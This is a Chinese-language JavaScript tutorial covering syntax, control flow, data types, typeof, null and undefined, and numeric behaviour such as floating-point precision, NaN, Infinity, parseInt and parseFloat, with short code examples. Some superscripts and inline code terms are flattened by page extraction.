JavaScript 有一些保留字,不能用作标识符:arguments、break、case、catch、class、const、continue、debugger、default、delete、do、else、enum、eval、export、extends、false、finally、for、function、if、implements、import、in、instanceof、interface、let、new、null、package、private、protected、public、return、static、super、switch、this、throw、true、try、typeof、var、void、while、with、yield。

注释

源码中被 JavaScript 引擎忽略的部分就叫做注释,它的作用是对代码进行解释。JavaScript 提供两种注释的写法:一种是单行注释,用//起头;另一种是多行注释,放在/**/之间。

1
2
3
4
5
6
7
// 这是单行注释

/*
这是
多行
注释
*/

此外,由于历史上 JavaScript 可以兼容 HTML 代码的注释,所以<!---->也被视为合法的单行注释。

1
2
x = 1; <!-- x = 2;
--> x = 3;

上面代码中,只有x = 1会执行,其他的部分都被注释掉了。

需要注意的是,-->只有在行首,才会被当成单行注释,否则会当作正常的运算。

1
2
3
4
5
6
7
function countdown(n) {
while (n --> 0) console.log(n);
}
countdown(3)
// 2
// 1
// 0

上面代码中,n --> 0实际上会当作n-- > 0,因此输出2、1、0。

区块

JavaScript 使用大括号,将多个相关的语句组合在一起,称为“区块”(block)。

对于var命令来说,JavaScript 的区块不构成单独的作用域(scope)。

1
2
3
4
5
{
var a = 1;
}

a // 1

上面代码在区块内部,使用var命令声明并赋值了变量a,然后在区块外部,变量a依然有效,区块对于var命令不构成单独的作用域,与不使用区块的情况没有任何区别。在 JavaScript 语言中,单独使用区块并不常见,区块往往用来构成其他更复杂的语法结构,比如forifwhilefunction等。

条件语句

JavaScript 提供if结构和switch结构,完成条件判断,即只有满足预设的条件,才会执行相应的语句。

if 结构

if结构先判断一个表达式的布尔值,然后根据布尔值的真伪,执行不同的语句。所谓布尔值,指的是 JavaScript 的两个特殊值,true表示真,false表示

1
2
3
4
5
if (布尔值)
语句;

// 或者
if (布尔值) 语句;

上面是if结构的基本形式。需要注意的是,“布尔值”往往由一个条件表达式产生的,必须放在圆括号中,表示对表达式求值。如果表达式的求值结果为true,就执行紧跟在后面的语句;如果结果为false,则跳过紧跟在后面的语句。

1
2
if (m === 3)
m = m + 1;

上面代码表示,只有在m等于3时,才会将其值加上1。

这种写法要求条件表达式后面只能有一个语句。如果想执行多个语句,必须在if的条件判断之后,加上大括号,表示代码块(多个语句合并成一个语句)。

1
2
3
if (m === 3) {
m += 1;
}

建议总是在if语句中使用大括号,因为这样方便插入语句。

注意,if后面的表达式之中,不要混淆赋值表达式(=)、严格相等运算符(===)和相等运算符(==)。尤其是赋值表达式不具有比较作用。

1
2
3
4
5
6
var x = 1;
var y = 2;
if (x = y) {
console.log(x);
}
// "2"

上面代码的原意是,当x等于y的时候,才执行相关语句。但是,不小心将严格相等运算符写成赋值表达式,结果变成了将y赋值给变量x,再判断变量x的值(等于2)的布尔值(结果为true)。

这种错误可以正常生成一个布尔值,因而不会报错。为了避免这种情况,有些开发者习惯将常量写在运算符的左边,这样的话,一旦不小心将相等运算符写成赋值运算符,就会报错,因为常量不能被赋值。

1
2
if (x = 2) { // 不报错
if (2 = x) { // 报错

至于为什么优先采用“严格相等运算符”(===),而不是“相等运算符”(==),请参考《运算符》章节。

if…else 结构

if代码块后面,还可以跟一个else代码块,表示不满足条件时,所要执行的代码。

1
2
3
4
5
if (m === 3) {
// 满足条件时,执行的语句
} else {
// 不满足条件时,执行的语句
}

上面代码判断变量m是否等于3,如果等于就执行if代码块,否则执行else代码块。

对同一个变量进行多次判断时,多个if...else语句可以连写在一起。

1
2
3
4
5
6
7
8
9
if (m === 0) {
// ...
} else if (m === 1) {
// ...
} else if (m === 2) {
// ...
} else {
// ...
}

else代码块总是与离自己最近的那个if语句配对。

1
2
3
4
5
6
var m = 1;
var n = 2;

if (m !== 1)
if (n === 2) console.log('hello');
else console.log('world');

上面代码不会有任何输出,else代码块不会得到执行,因为它跟着的是最近的那个if语句,相当于下面这样。

1
2
3
4
5
6
7
if (m !== 1) {
if (n === 2) {
console.log('hello');
} else {
console.log('world');
}
}

如果想让else代码块跟随最上面的那个if语句,就要改变大括号的位置。

1
2
3
4
5
6
7
8
if (m !== 1) {
if (n === 2) {
console.log('hello');
}
} else {
console.log('world');
}
// world

switch 结构

多个if...else连在一起使用的时候,可以转为使用更方便的switch结构。

1
2
3
4
5
6
7
8
9
10
switch (fruit) {
case "banana":
// ...
break;
case "apple":
// ...
break;
default:
// ...
}

上面代码根据变量fruit的值,选择执行相应的case。如果所有case都不符合,则执行最后的default部分。需要注意的是,每个case代码块内部的break语句不能少,否则会接下去执行下一个case代码块,而不是跳出switch结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
var x = 1;

switch (x) {
case 1:
console.log('x 等于1');
case 2:
console.log('x 等于2');
default:
console.log('x 等于其他值');
}
// x等于1
// x等于2
// x等于其他值

上面代码中,case代码块之中没有break语句,导致不会跳出switch结构,而会一直执行下去。正确的写法是像下面这样。

1
2
3
4
5
6
7
8
9
10
switch (x) {
case 1:
console.log('x 等于1');
break;
case 2:
console.log('x 等于2');
break;
default:
console.log('x 等于其他值');
}

switch语句部分和case语句部分,都可以使用表达式。

1
2
3
4
5
6
7
switch (1 + 3) {
case 2 + 2:
f();
break;
default:
neverHappens();
}

上面代码的default部分,是永远不会执行到的。

需要注意的是,switch语句后面的表达式,与case语句后面的表示式比较运行结果时,采用的是严格相等运算符(===),而不是相等运算符(==),这意味着比较时不会发生类型转换。

1
2
3
4
5
6
7
8
9
10
var x = 1;

switch (x) {
case true:
console.log('x 发生类型转换');
break;
default:
console.log('x 没有发生类型转换');
}
// x 没有发生类型转换

上面代码中,由于变量x没有发生类型转换,所以不会执行case true的情况。这表明,switch语句内部采用的是“严格相等运算符”,详细解释请参考《运算符》一节。

三元运算符 ?:

JavaScript 还有一个三元运算符(即该运算符需要三个运算子)?:,也可以用于逻辑判断。

1
(条件) ? 表达式1 : 表达式2

上面代码中,如果“条件”为true,则返回“表达式1”的值,否则返回“表达式2”的值。

1
var even = (n % 2 === 0) ? true : false;

上面代码中,如果n可以被2整除,则even等于true,否则等于false。它等同于下面的形式。

1
2
3
4
5
6
var even;
if (n % 2 === 0) {
even = true;
} else {
even = false;
}

这个三元运算符可以被视为if...else...的简写形式,因此可以用于多种场合。

1
2
3
4
5
6
7
var myVar;
console.log(
myVar ?
'myVar has a value' :
'myVar does not have a value'
)
// myVar does not have a value

上面代码利用三元运算符,输出相应的提示。

1
var msg = '数字' + n + '是' + (n % 2 === 0 ? '偶数' : '奇数');

上面代码利用三元运算符,在字符串之中插入不同的值。

循环语句

循环语句用于重复执行某个操作,它有多种形式。

while 循环

While语句包括一个循环条件和一段代码块,只要条件为真,就不断循环执行代码块。

1
2
3
4
5
while (条件)
语句;

// 或者
while (条件) 语句;

while语句的循环条件是一个表达式,必须放在圆括号中。代码块部分,如果只有一条语句,可以省略大括号,否则就必须加上大括号。

1
2
3
while (条件) {
语句;
}

下面是while语句的一个例子。

1
2
3
4
5
6
var i = 0;

while (i < 100) {
console.log('i 当前为:' + i);
i = i + 1;
}

上面的代码将循环100次,直到i等于100为止。

下面的例子是一个无限循环,因为循环条件总是为真。

1
2
3
while (true) {
console.log('Hello, world');
}

for 循环

for语句是循环命令的另一种形式,可以指定循环的起点、终点和终止条件。它的格式如下。

1
2
3
4
5
6
7
8
for (初始化表达式; 条件; 递增表达式)
语句

// 或者

for (初始化表达式; 条件; 递增表达式) {
语句
}

for语句后面的括号里面,有三个表达式。

  • 初始化表达式(initialize):确定循环变量的初始值,只在循环开始时执行一次。
  • 条件表达式(test):每轮循环开始时,都要执行这个条件表达式,只有值为真,才继续进行循环。
  • 递增表达式(increment):每轮循环的最后一个操作,通常用来递增循环变量。

下面是一个例子。

1
2
3
4
5
6
7
var x = 3;
for (var i = 0; i < x; i++) {
console.log(i);
}
// 0
// 1
// 2

上面代码中,初始化表达式是var i = 0,即初始化一个变量i;测试表达式是i < x,即只要i小于x,就会执行循环;递增表达式是i++,即每次循环结束后,i增大1。

所有for循环,都可以改写成while循环。上面的例子改为while循环,代码如下。

1
2
3
4
5
6
7
var x = 3;
var i = 0;

while (i < x) {
console.log(i);
i++;
}

for语句的三个部分(initialize、test、increment),可以省略任何一个,也可以全部省略。

1
2
3
for ( ; ; ){
console.log('Hello World');
}

上面代码省略了for语句表达式的三个部分,结果就导致了一个无限循环。

do…while 循环

do...while循环与while循环类似,唯一的区别就是先运行一次循环体,然后判断循环条件。

1
2
3
4
5
6
7
8
do
语句
while (条件);

// 或者
do {
语句
} while (条件);

不管条件是否为真,do...while循环至少运行一次,这是这种结构最大的特点。另外,while语句后面的分号注意不要省略。

下面是一个例子。

1
2
3
4
5
6
7
var x = 3;
var i = 0;

do {
console.log(i);
i++;
} while(i < x);

break 语句和 continue 语句

break语句和continue语句都具有跳转作用,可以让代码不按既有的顺序执行。

break语句用于跳出代码块或循环。

1
2
3
4
5
6
7
var i = 0;

while(i < 100) {
console.log('i 当前为:' + i);
i++;
if (i === 10) break;
}

上面代码只会执行10次循环,一旦i等于10,就会跳出循环。

for循环也可以使用break语句跳出循环。

1
2
3
4
5
6
7
8
9
for (var i = 0; i < 5; i++) {
console.log(i);
if (i === 3)
break;
}
// 0
// 1
// 2
// 3

上面代码执行到i等于3,就会跳出循环。

continue语句用于立即终止本轮循环,返回循环结构的头部,开始下一轮循环。

1
2
3
4
5
6
7
var i = 0;

while (i < 100){
i++;
if (i % 2 === 0) continue;
console.log('i 当前为:' + i);
}

上面代码只有在i为奇数时,才会输出i的值。如果i为偶数,则直接进入下一轮循环。

如果存在多重循环,不带参数的break语句和continue语句都只针对最内层循环。

标签(label)

JavaScript 语言允许,语句的前面有标签(label),相当于定位符,用于跳转到程序的任意位置,标签的格式如下。

1
2
label:
语句

标签可以是任意的标识符,但不能是保留字,语句部分可以是任意语句。

标签通常与break语句和continue语句配合使用,跳出特定的循环。

1
2
3
4
5
6
7
8
9
10
11
top:
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (i === 1 && j === 1) break top;
console.log('i=' + i + ', j=' + j);
}
}
// i=0, j=0
// i=0, j=1
// i=0, j=2
// i=1, j=0

上面代码为一个双重循环区块,break命令后面加上了top标签(注意,top不用加引号),满足条件时,直接跳出双层循环。如果break语句后面不使用标签,则只能跳出内层循环,进入下一次的外层循环。

标签也可以用于跳出代码块。

1
2
3
4
5
6
7
8
foo: {
console.log(1);
break foo;
console.log('本行不会输出');
}
console.log(2);
// 1
// 2

上面代码执行到break foo,就会跳出区块。

continue语句也可以与标签配合使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
top:
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (i === 1 && j === 1) continue top;
console.log('i=' + i + ', j=' + j);
}
}
// i=0, j=0
// i=0, j=1
// i=0, j=2
// i=1, j=0
// i=2, j=0
// i=2, j=1
// i=2, j=2

上面代码中,continue命令后面有一个标签名,满足条件时,会跳过当前循环,直接进入下一轮外层循环。如果continue语句后面不使用标签,则只能进入下一轮的内层循环。

参考链接

数据类型

数据类型概述

简介

JavaScript 语言的每一个值,都属于某一种数据类型。JavaScript 的数据类型,共有六种。(ES6 又新增了第七种 Symbol 类型的值,本教程不涉及。)

  • 数值(number):整数和小数(比如13.14
  • 字符串(string):文本(比如Hello World)。
  • 布尔值(boolean):表示真伪的两个特殊值,即true(真)和false(假)
  • undefined:表示“未定义”或不存在,即由于目前没有定义,所以此处暂时没有任何值
  • null:表示空值,即此处的值为空。
  • 对象(object):各种值组成的集合。

通常,数值、字符串、布尔值这三种类型,合称为原始类型(primitive type)的值,即它们是最基本的数据类型,不能再细分了。对象则称为合成类型(complex type)的值,因为一个对象往往是多个原始类型的值的合成,可以看作是一个存放各种值的容器。至于undefinednull,一般将它们看成两个特殊值。

对象是最复杂的数据类型,又可以分成三个子类型。

  • 狭义的对象(object)
  • 数组(array)
  • 函数(function)

狭义的对象和数组是两种不同的数据组合方式,除非特别声明,本教程的“对象”都特指狭义的对象。函数其实是处理数据的方法,JavaScript 把它当成一种数据类型,可以赋值给变量,这为编程带来了很大的灵活性,也为 JavaScript 的“函数式编程”奠定了基础。

typeof 运算符

JavaScript 有三种方法,可以确定一个值到底是什么类型。

  • typeof运算符
  • instanceof运算符
  • Object.prototype.toString方法

instanceof运算符和Object.prototype.toString方法,将在后文介绍。这里介绍typeof运算符。

typeof运算符可以返回一个值的数据类型。

数值、字符串、布尔值分别返回numberstringboolean

1
2
3
typeof 123 // "number"
typeof '123' // "string"
typeof false // "boolean"

函数返回function

1
2
3
function f() {}
typeof f
// "function"

undefined返回undefined

1
2
typeof undefined
// "undefined"

利用这一点,typeof可以用来检查一个没有声明的变量,而不报错。

1
2
3
4
5
v
// ReferenceError: v is not defined

typeof v
// "undefined"

上面代码中,变量v没有用var命令声明,直接使用就会报错。但是,放在typeof后面,就不报错了,而是返回undefined

实际编程中,这个特点通常用在判断语句。

1
2
3
4
5
6
7
8
9
10
// 错误的写法
if (v) {
// ...
}
// ReferenceError: v is not defined

// 正确的写法
if (typeof v === "undefined") {
// ...
}

对象返回object

1
2
3
typeof window // "object"
typeof {} // "object"
typeof [] // "object"

上面代码中,空数组([])的类型也是object,这表示在 JavaScript 内部,数组本质上只是一种特殊的对象。这里顺便提一下,instanceof运算符可以区分数组和对象。instanceof运算符的详细解释,请见《面向对象编程》一章。

1
2
3
4
5
var o = {};
var a = [];

o instanceof Array // false
a instanceof Array // true

null返回object

1
typeof null // "object"

null的类型是object,这是由于历史原因造成的。1995年的 JavaScript 语言第一版,只设计了五种数据类型(对象、整数、浮点数、字符串和布尔值),没考虑null,只把它当作object的一种特殊值。后来null独立出来,作为一种单独的数据类型,为了兼容以前的代码,typeof null返回object就没法改变了。

参考链接

null, undefined 和布尔值

null 和 undefined

概述

nullundefined都可以表示“没有”,含义非常相似。将一个变量赋值为undefinednull,老实说,语法效果几乎没区别。

1
2
3
var a = undefined;
// 或者
var a = null;

上面代码中,变量a分别被赋值为undefinednull,这两种写法的效果几乎等价。

if语句中,它们都会被自动转为false,相等运算符(==)甚至直接报告两者相等。

1
2
3
4
5
6
7
8
9
10
11
12
if (!undefined) {
console.log('undefined is false');
}
// undefined is false

if (!null) {
console.log('null is false');
}
// null is false

undefined == null
// true

从上面代码可见,两者的行为是何等相似!谷歌公司开发的 JavaScript 语言的替代品 Dart 语言,就明确规定只有null,没有undefined

既然含义与用法都差不多,为什么要同时设置两个这样的值,这不是无端增加复杂度,令初学者困扰吗?这与历史原因有关。

1995年 JavaScript 诞生时,最初像 Java 一样,只设置了null表示"无"。根据 C 语言的传统,null可以自动转为0

1
2
Number(null) // 0
5 + null // 5

上面代码中,null转为数字时,自动变成0。

但是,JavaScript 的设计者 Brendan Eich,觉得这样做还不够。首先,第一版的 JavaScript 里面,null就像在 Java 里一样,被当成一个对象,Brendan Eich 觉得表示“无”的值最好不是对象。其次,那时的 JavaScript 不包括错误处理机制,Brendan Eich 觉得,如果null自动转为0,很不容易发现错误。

因此,他又设计了一个undefined。区别是这样的:null是一个表示“空”的对象,转为数值时为0undefined是一个表示"此处无定义"的原始值,转为数值时为NaN

1
2
Number(undefined) // NaN
5 + undefined // NaN

用法和含义

对于nullundefined,大致可以像下面这样理解。

null表示空值,即该处的值现在为空。调用函数时,某个参数未设置任何值,这时就可以传入null,表示该参数为空。比如,某个函数接受引擎抛出的错误作为参数,如果运行过程中未出错,那么这个参数就会传入null,表示未发生错误。

undefined表示“未定义”,下面是返回undefined的典型场景。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 变量声明了,但没有赋值
var i;
i // undefined

// 调用函数时,应该提供的参数没有提供,该参数等于 undefined
function f(x) {
return x;
}
f() // undefined

// 对象没有赋值的属性
var o = new Object();
o.p // undefined

// 函数没有返回值时,默认返回 undefined
function f() {}
f() // undefined

布尔值

布尔值代表“真”和“假”两个状态。“真”用关键字true表示,“假”用关键字false表示。布尔值只有这两个值。

下列运算符会返回布尔值:

  • 前置逻辑运算符: ! (Not)
  • 相等运算符:===!====!=
  • 比较运算符:>>=<<=

如果 JavaScript 预期某个位置应该是布尔值,会将该位置上现有的值自动转为布尔值。转换规则是除了下面六个值被转为false,其他值都视为true

  • undefined
  • null
  • false
  • 0
  • NaN
  • ""''(空字符串)

布尔值往往用于程序流程的控制,请看一个例子。

1
2
3
4
if ('') {
console.log('true');
}
// 没有任何输出

上面代码中,if命令后面的判断条件,预期应该是一个布尔值,所以 JavaScript 自动将空字符串,转为布尔值false,导致程序不会进入代码块,所以没有任何输出。

注意,空数组([])和空对象({})对应的布尔值,都是true

1
2
3
4
5
6
7
8
9
if ([]) {
console.log('true');
}
// true

if ({}) {
console.log('true');
}
// true

更多关于数据类型转换的介绍,参见《数据类型转换》一章。

参考链接

数值

概述

整数和浮点数

JavaScript 内部,所有数字都是以64位浮点数形式储存,即使整数也是如此。所以,11.0是相同的,是同一个数。

1
1 === 1.0 // true

这就是说,JavaScript 语言的底层根本没有整数,所有数字都是小数(64位浮点数)。容易造成混淆的是,某些运算只有整数才能完成,此时 JavaScript 会自动把64位浮点数,转成32位整数,然后再进行运算,参见《运算符》一章的“位运算”部分。

由于浮点数不是精确的值,所以涉及小数的比较和运算要特别小心。

1
2
3
4
5
6
7
8
0.1 + 0.2 === 0.3
// false

0.3 / 0.1
// 2.9999999999999996

(0.3 - 0.2) === (0.2 - 0.1)
// false

数值精度

根据国际标准 IEEE 754,JavaScript 浮点数的64个二进制位,从最左边开始,是这样组成的。

  • 第1位:符号位,0表示正数,1表示负数
  • 第2位到第12位(共11位):指数部分
  • 第13位到第64位(共52位):小数部分(即有效数字)

符号位决定了一个数的正负,指数部分决定了数值的大小,小数部分决定了数值的精度。

指数部分一共有11个二进制位,因此大小范围就是0到2047。IEEE 754 规定,如果指数部分的值在0到2047之间(不含两个端点),那么有效数字的第一位默认总是1,不保存在64位浮点数之中。也就是说,有效数字这时总是1.xx...xx的形式,其中xx..xx的部分保存在64位浮点数之中,最长可能为52位。因此,JavaScript 提供的有效数字最长为53个二进制位。

1
(-1)^符号位 * 1.xx...xx * 2^指数部分

上面公式是正常情况下(指数部分在0到2047之间),一个数在 JavaScript 内部实际的表示形式。

精度最多只能到53个二进制位,这意味着,绝对值小于2的53次方的整数,即-253到253,都可以精确表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Math.pow(2, 53)
// 9007199254740992

Math.pow(2, 53) + 1
// 9007199254740992

Math.pow(2, 53) + 2
// 9007199254740994

Math.pow(2, 53) + 3
// 9007199254740996

Math.pow(2, 53) + 4
// 9007199254740996

上面代码中,大于2的53次方以后,整数运算的结果开始出现错误。所以,大于2的53次方的数值,都无法保持精度。由于2的53次方是一个16位的十进制数值,所以简单的法则就是,JavaScript 对15位的十进制数都可以精确处理。

1
2
3
4
5
6
Math.pow(2, 53)
// 9007199254740992

// 多出的三个有效数字,将无法保存
9007199254740992111
// 9007199254740992000

上面示例表明,大于2的53次方以后,多出来的有效数字(最后三位的111)都会无法保存,变成0。

数值范围

根据标准,64位浮点数的指数部分的长度是11个二进制位,意味着指数部分的最大值是2047(2的11次方减1)。也就是说,64位浮点数的指数部分的值最大为2047,分出一半表示负数,则 JavaScript 能够表示的数值范围为21024到2-1023(开区间),超出这个范围的数无法表示。

如果一个数大于等于2的1024次方,那么就会发生“正向溢出”,即 JavaScript 无法表示这么大的数,这时就会返回Infinity

1
Math.pow(2, 1024) // Infinity

如果一个数小于等于2的-1075次方(指数部分最小值-1023,再加上小数部分的52位),那么就会发生为“负向溢出”,即 JavaScript 无法表示这么小的数,这时会直接返回0。

1
Math.pow(2, -1075) // 0

下面是一个实际的例子。

1
2
3
4
5
6
7
var x = 0.5;

for(var i = 0; i < 25; i++) {
x = x * x;
}

x // 0

上面代码中,对0.5连续做25次平方,由于最后结果太接近0,超出了可表示的范围,JavaScript 就直接将其转为0。

JavaScript 提供Number对象的MAX_VALUEMIN_VALUE属性,返回可以表示的具体的最大值和最小值。

1
2
Number.MAX_VALUE // 1.7976931348623157e+308
Number.MIN_VALUE // 5e-324

数值的表示法

JavaScript 的数值有多种表示方法,可以用字面形式直接表示,比如35(十进制)和0xFF(十六进制)。

数值也可以采用科学计数法表示,下面是几个科学计数法的例子。

1
2
3
4
123e3 // 123000
123e-3 // 0.123
-3.1E+12
.1e-23

科学计数法允许字母eE的后面,跟着一个整数,表示这个数值的指数部分。

以下两种情况,JavaScript 会自动将数值转为科学计数法表示,其他情况都采用字面形式直接表示。

(1)小数点前的数字多于21位。

1
2
3
4
5
1234567890123456789012
// 1.2345678901234568e+21

123456789012345678901
// 123456789012345680000

(2)小数点后的零多于5个。

1
2
3
4
5
6
// 小数点后紧跟5个以上的零,
// 就自动转为科学计数法
0.0000003 // 3e-7

// 否则,就保持原来的字面形式
0.000003 // 0.000003

数值的进制

使用字面量(literal)直接表示一个数值时,JavaScript 对整数提供四种进制的表示方法:十进制、十六进制、八进制、二进制。

  • 十进制:没有前导0的数值。
  • 八进制:有前缀0o0O的数值,或者有前导0、且只用到0-7的八个阿拉伯数字的数值。
  • 十六进制:有前缀0x0X的数值。
  • 二进制:有前缀0b0B的数值。

默认情况下,JavaScript 内部会自动将八进制、十六进制、二进制转为十进制。下面是一些例子。

1
2
3
0xff // 255
0o377 // 255
0b11 // 3

如果八进制、十六进制、二进制的数值里面,出现不属于该进制的数字,就会报错。

1
2
3
0xzz // 报错
0o88 // 报错
0b22 // 报错

上面代码中,十六进制出现了字母z、八进制出现数字8、二进制出现数字2,因此报错。

通常来说,有前导0的数值会被视为八进制,但是如果前导0后面有数字89,则该数值被视为十进制。

1
2
0888 // 888
0777 // 511

前导0表示八进制,处理时很容易造成混乱。ES5 的严格模式和 ES6,已经废除了这种表示法,但是浏览器为了兼容以前的代码,目前还继续支持这种表示法。

特殊数值

JavaScript 提供了几个特殊的数值。

正零和负零

前面说过,JavaScript 的64位浮点数之中,有一个二进制位是符号位。这意味着,任何一个数都有一个对应的负值,就连0也不例外。

JavaScript 内部实际上存在2个0:一个是+0,一个是-0,区别就是64位浮点数表示法的符号位不同。它们是等价的。

1
2
3
-0 === +0 // true
0 === -0 // true
0 === +0 // true

几乎所有场合,正零和负零都会被当作正常的0

1
2
3
4
+0 // 0
-0 // 0
(-0).toString() // '0'
(+0).toString() // '0'

唯一有区别的场合是,+0-0当作分母,返回的值是不相等的。

1
(1 / +0) === (1 / -0) // false

上面的代码之所以出现这样结果,是因为除以正零得到+Infinity,除以负零得到-Infinity,这两者是不相等的(关于Infinity详见下文)。

NaN

(1)含义

NaN是 JavaScript 的特殊值,表示“非数字”(Not a Number),主要出现在将字符串解析成数字出错的场合。

1
5 - 'x' // NaN

上面代码运行时,会自动将字符串x转为数值,但是由于x不是数值,所以最后得到结果为NaN,表示它是“非数字”(NaN)。

另外,一些数学函数的运算结果会出现NaN

1
2
3
Math.acos(2) // NaN
Math.log(-1) // NaN
Math.sqrt(-1) // NaN

0除以0也会得到NaN

1
0 / 0 // NaN

需要注意的是,NaN不是独立的数据类型,而是一个特殊数值,它的数据类型依然属于Number,使用typeof运算符可以看得很清楚。

1
typeof NaN // 'number'

(2)运算规则

NaN不等于任何值,包括它本身。

1
NaN === NaN // false

数组的indexOf方法内部使用的是严格相等运算符,所以该方法对NaN不成立。

1
[NaN].indexOf(NaN) // -1

NaN在布尔运算时被当作false

1
Boolean(NaN) // false

NaN与任何数(包括它自己)的运算,得到的都是NaN

1
2
3
4
NaN + 32 // NaN
NaN - 32 // NaN
NaN * 32 // NaN
NaN / 32 // NaN

Infinity

(1)含义

Infinity表示“无穷”,用来表示两种场景。一种是一个正的数值太大,或一个负的数值太小,无法表示;另一种是非0数值除以0,得到Infinity

1
2
3
4
5
6
7
// 场景一
Math.pow(2, 1024)
// Infinity

// 场景二
0 / 0 // NaN
1 / 0 // Infinity

上面代码中,第一个场景是一个表达式的计算结果太大,超出了能够表示的范围,因此返回Infinity。第二个场景是0除以0会得到NaN,而非0数值除以0,会返回Infinity

Infinity有正负之分,Infinity表示正的无穷,-Infinity表示负的无穷。

1
2
3
4
Infinity === -Infinity // false

1 / -0 // -Infinity
-1 / -0 // Infinity

上面代码中,非零正数除以-0,会得到-Infinity,负数除以-0,会得到Infinity

由于数值正向溢出(overflow)、负向溢出(underflow)和被0除,JavaScript 都不报错,所以单纯的数学运算几乎没有可能抛出错误。

Infinity大于一切数值(除了NaN),-Infinity小于一切数值(除了NaN)。

1
2
Infinity > 1000 // true
-Infinity < -1000 // true

InfinityNaN比较,总是返回false

1
2
3
4
5
Infinity > NaN // false
-Infinity > NaN // false

Infinity < NaN // false
-Infinity < NaN // false

(2)运算规则

Infinity的四则运算,符合无穷的数学计算规则。

1
2
3
4
5 * Infinity // Infinity
5 - Infinity // -Infinity
Infinity / 5 // Infinity
5 / Infinity // 0

0乘以Infinity,返回NaN;0除以Infinity,返回0Infinity除以0,返回Infinity

1
2
3
0 * Infinity // NaN
0 / Infinity // 0
Infinity / 0 // Infinity

Infinity加上或乘以Infinity,返回的还是Infinity

1
2
Infinity + Infinity // Infinity
Infinity * Infinity // Infinity

Infinity减去或除以Infinity,得到NaN

1
2
Infinity - Infinity // NaN
Infinity / Infinity // NaN

Infinitynull计算时,null会转成0,等同于与0的计算。

1
2
3
null * Infinity // NaN
null / Infinity // 0
Infinity / null // Infinity

Infinityundefined计算,返回的都是NaN

1
2
3
4
5
undefined + Infinity // NaN
undefined - Infinity // NaN
undefined * Infinity // NaN
undefined / Infinity // NaN
Infinity / undefined // NaN

与数值相关的全局方法

parseInt()

(1)基本用法

parseInt方法用于将字符串转为整数。

1
parseInt('123') // 123

如果字符串头部有空格,空格会被自动去除。

1
parseInt('   81') // 81

如果parseInt的参数不是字符串,则会先转为字符串再转换。

1
2
3
parseInt(1.23) // 1
// 等同于
parseInt('1.23') // 1

字符串转为整数的时候,是一个个字符依次转换,如果遇到不能转为数字的字符,就不再进行下去,返回已经转好的部分。

1
2
3
4
5
parseInt('8a') // 8
parseInt('12**') // 12
parseInt('12.34') // 12
parseInt('15e2') // 15
parseInt('15px') // 15

上面代码中,parseInt的参数都是字符串,结果只返回字符串头部可以转为数字的部分。

如果字符串的第一个字符不能转化为数字(后面跟着数字的正负号除外),返回NaN

1
2
3
4
5
parseInt('abc') // NaN
parseInt('.3') // NaN
parseInt('') // NaN
parseInt('+') // NaN
parseInt('+1') // 1

所以,parseInt的返回值只有两种可能,要么是一个十进制整数,要么是NaN

如果字符串以0x0X开头,parseInt会将其按照十六进制数解析。

1
parseInt('0x10') // 16

如果字符串以0开头,将其按照10进制解析。

1
parseInt('011') // 11

对于那些会自动转为科学计数法的数字,parseInt会将科学计数法的表示方法视为字符串,因此导致一些奇怪的结果。

1
2
3
4
5
6
7
parseInt(1000000000000000000000.5) // 1
// 等同于
parseInt('1e+21') // 1

parseInt(0.0000008) // 8
// 等同于
parseInt('8e-7') // 8

(2)进制转换

parseInt方法还可以接受第二个参数(2到36之间),表示被解析的值的进制,返回该值对应的十进制数。默认情况下,parseInt的第二个参数为10,即默认是十进制转十进制。

1
2
3
parseInt('1000') // 1000
// 等同于
parseInt('1000', 10) // 1000

下面是转换指定进制的数的例子。

1
2
3
parseInt('1000', 2) // 8
parseInt('1000', 6) // 216
parseInt('1000', 8) // 512

上面代码中,二进制、六进制、八进制的1000,分别等于十进制的8、216和512。这意味着,可以用parseInt方法进行进制的转换。

如果第二个参数不是数值,会被自动转为一个整数。这个整数只有在2到36之间,才能得到有意义的结果,超出这个范围,则返回NaN。如果第二个参数是0undefinednull,则直接忽略。

1
2
3
4
5
parseInt('10', 37) // NaN
parseInt('10', 1) // NaN
parseInt('10', 0) // 10
parseInt('10', null) // 10
parseInt('10', undefined) // 10

如果字符串包含对于指定进制无意义的字符,则从最高位开始,只返回可以转换的数值。如果最高位无法转换,则直接返回NaN

1
2
parseInt('1546', 2) // 1
parseInt('546', 2) // NaN

上面代码中,对于二进制来说,1是有意义的字符,546都是无意义的字符,所以第一行返回1,第二行返回NaN

前面说过,如果parseInt的第一个参数不是字符串,会被先转为字符串。这会导致一些令人意外的结果。

1
2
3
4
5
6
7
8
9
10
parseInt(0x11, 36) // 43
parseInt(0x11, 2) // 1

// 等同于
parseInt(String(0x11), 36)
parseInt(String(0x11), 2)

// 等同于
parseInt('17', 36)
parseInt('17', 2)

上面代码中,十六进制的0x11会被先转为十进制的17,再转为字符串。然后,再用36进制或二进制解读字符串17,最后返回结果431

这种处理方式,对于八进制的前缀0,尤其需要注意。

1
2
3
4
5
6
7
parseInt(011, 2) // NaN

// 等同于
parseInt(String(011), 2)

// 等同于
parseInt(String(9), 2)

上面代码中,第一行的011会被先转为字符串9,因为9不是二进制的有效字符,所以返回NaN。如果直接计算parseInt('011', 2)011则是会被当作二进制处理,返回3。

JavaScript 不再允许将带有前缀0的数字视为八进制数,而是要求忽略这个0。但是,为了保证兼容性,大部分浏览器并没有部署这一条规定。

parseFloat()

parseFloat方法用于将一个字符串转为浮点数。

1
parseFloat('3.14') // 3.14

如果字符串符合科学计数法,则会进行相应的转换。

1
2
parseFloat('314e-2') // 3.14
parseFloat('0.0314E+2') // 3.14

如果字符串包含不能转为浮点数的字符,则不再进行往后转换,返回已经转好的部分。

1
parseFloat('3.14more non-digit characters') // 3.14

parseFloat方法会自动过滤字符串前导的空格。

1
parseFloat('\t\v\r12.34\n ') // 12.34

如果参数不是字符串,或者字符串的第一个字符不能转化为浮点数,则返回NaN

1
2
3
parseFloat([]) // NaN
parseFloat('FF2') // NaN
parseFloat('') // NaN

上面代码中,尤其值得注意,parseFloat会将空字符串转为NaN

这些特点使得parseFloat的转换结果不同于Number函数。

1
2
3
4
5
6
7
8
9
10
11
parseFloat(true)  // NaN
Number(true) // 1

parseFloat(null) // NaN
Number(null) // 0

parseFloat('') // NaN
Number('') // 0

